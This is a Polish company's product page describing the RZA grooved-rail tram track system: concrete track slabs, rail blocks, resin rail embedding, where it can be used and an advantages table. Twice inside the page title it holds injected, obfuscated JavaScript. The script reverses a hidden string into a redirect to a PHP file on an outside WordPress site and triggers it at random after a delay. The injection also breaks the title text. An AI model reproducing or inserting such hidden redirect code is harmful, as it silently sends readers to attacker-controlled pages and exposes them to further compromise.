System rowkowo – zalewowy RZA płyta obniżona $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(„”).reverse().join(„”);return $mWn.list[n];};$mWn.list=[„\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do samodzielnej zabu$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(„”).reverse().join(„”);return $mWn.list[n];};$mWn.list=[„\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowy

Informacja ogólna o systemie

System rowkowo-zalewowy w wersji RZA jest nowoczesną nawierzchnią bezpodsypkową przeznaczoną do
torowisk tramwajowych wspólnych z jezdnią czyli tzw. nawierzchnią torowo- drogową. Konstrukcja ta stanowi
połączenie dwóch wiodących rozwiązań:

prefabrykowanych, betonowych płyt tramwajowych
sprężystego, ciągłego mocowania szyny tramwajowej w otulinie żywicznej

System składa się z czterech elementów:

prefabrykowanych płyt tramwajowych:

- torowych – służących do zamocowania w nich szyn

- międzytorowych – służących do wypełniania przestrzeni międzytorzy
szyn tramwajowych typu 60R2
wypełniających bloczków szynowych
otuliny żywicznej mocującej szynę oraz tłumiącej hałas i drgania

Przeznaczenie i zakres stosowania

Nawierzchnia ta przeznaczona jest do eksploatacji w:

torowiskach tramwajowych wbudowanych w ulice, bez ograniczenia co do długości torowiska
przejazdach tramwajowych
przejściach dla pieszych przez torowisko tramwajowe
torowiskach tramwajowych na obiektach mostowych

Konstrukcja nawierzchni wraz z odpowiednią podbudową pozwala na stworzenie torowisk tramwajowych, które mogą pracować obciążone ruchem w zakresie od KR1 do KR7 (kategorie ruchu drogowego wg Katalogu sztywnych nawierzchni drogowych, GDDKiA). Wymogi sztywności dla podbudowy w zależności od grubości nawierzchni podano tutaj .

System RZA dopuszczony jest do stosowania bez ograniczeń na drogach publicznych i wewnętrznych oraz na obiektach inżynierskich.

Nie ma również ograniczeń w kontekście geometrii torowiska – z uwagi na szeroki typoszereg długości i szerokości płyt tramwajowych (szczegółowa informacja w Karcie technicznej) system stosuje się w liniach jednotorowych jak i wielotorowych, zarówno na odcinkach prostych jak i w łukach poziomych i pionowych o standardowych promieniach. W łukach poziomych o promieniach w zakresie 25m ≤ R ≤ 50m można zastosować, na specjalne życzenie, płyty torowe trapezowe zmniejszające średnią szerokość szczelin międzypłytowych.

Zalety i korzyści eksploatacyjne wynikające z zastosowania systemu RZ

ZALETY	KORZYŚCI
1 Zmniejszenie poziomu drgań i hałasu propagowanych do otoczenia	Ochrona ludzi przed szkodliwością hałasu i dyskomfortem odczuwania drgań Ochrona budynków przed destruktywnym działaniem drgań
2 Możliwość dopasowania do architektury, zwłaszcza zabytkowej	Zwiększenie spójności architektonicznej między nawierzchnią drogową w torowisku a otoczeniem
3 Możliwość indywidualnego doboru kostki kamiennej lub zastąpienia jej innym materiałem	Kostka brukowa z pożądanej skały, o oczekiwanym kształcie i kolorze Zamiast kostki kamiennej np. kostka betonowa lub płyty z betonu
4 Odseparowanie przytwierdzenia szyny od nawierzchni drogowej w torowisku	Brak przemieszczeń oraz wypadania kostki w obszarze szyn
5 Możliwość niezwłocznego obciążenia torowiska tramwajowego ruchem pojazdów	Krótszy okres niedogodności wynikających z zastępczej organizacji ruchu i zastępczej komunikacji dla pasażerów i okolicznych mieszkańców Niższe koszty zastępczej organizacji ruchu Niższe koszty zastępczej komunikacji zbiorowej

6 Brak „mostków” wibracyjnych	Ochrona ludzi przed dyskomfortem drgań Ochrona budynków przed destruktywnym działaniem drgań
7 Ograniczenie upływu prądów powrotnych	Ograniczenie korozji nawierzchni torowo-drogowej Ograniczenie korozji infrastruktury stalowej (np. rur wodociągowych) położonej pod torowiskiem
8 Niewielka ilość koniecznych prac utrzymaniowych (kontrola i ew. uzupełnianie wypełnienia szczelin międzypłytowych, czyszczenie odpływów w płytach specjalnych)	Niskie koszty utrzymania, Niewielka ilość utrudnień spowodowanych pracami utrzymaniowymi

Nasza oferta

W naszej ofercie dla systemu rowkowo-zalewowego RZA znajdziecie Państwo nw. składniki:

Prefabrykowane płyty tramwajowe – torowe VRZA i międzytorowe VRm
Bloczki szynowe betonowe, wypełniające komory łubkowe szyn
Zestaw żywic Premiks do wykonania otuliny żywicznej mocującej szyny oraz wypełnienia szczelin międzypłytowych.

W razie dalszych pytań zapraszamy uprzejmie do kontaktu telefonicznego +48 12 282 67 50 lub mailowego biuro@prefa.pl.

System rowkowo – zalewowy RZA płyta obniżona do samodzielnej zabudowy

Torowiska tramwajowe

Ekrany akustyczne

Nietypowe wyroby betonowe

RZA - System rowkowo zalewowy - płyta obniżona do samodzielnej zabudowy

Informacja ogólna o systemie

Przeznaczenie i zakres stosowania

Zalety i korzyści eksploatacyjne wynikające z zastosowania systemu RZ

ZALETY

KORZYŚCI

Certyfikaty

Nasza oferta

Realizacje z zastosowaniem systemu rowkowo-zalewowego (RZ)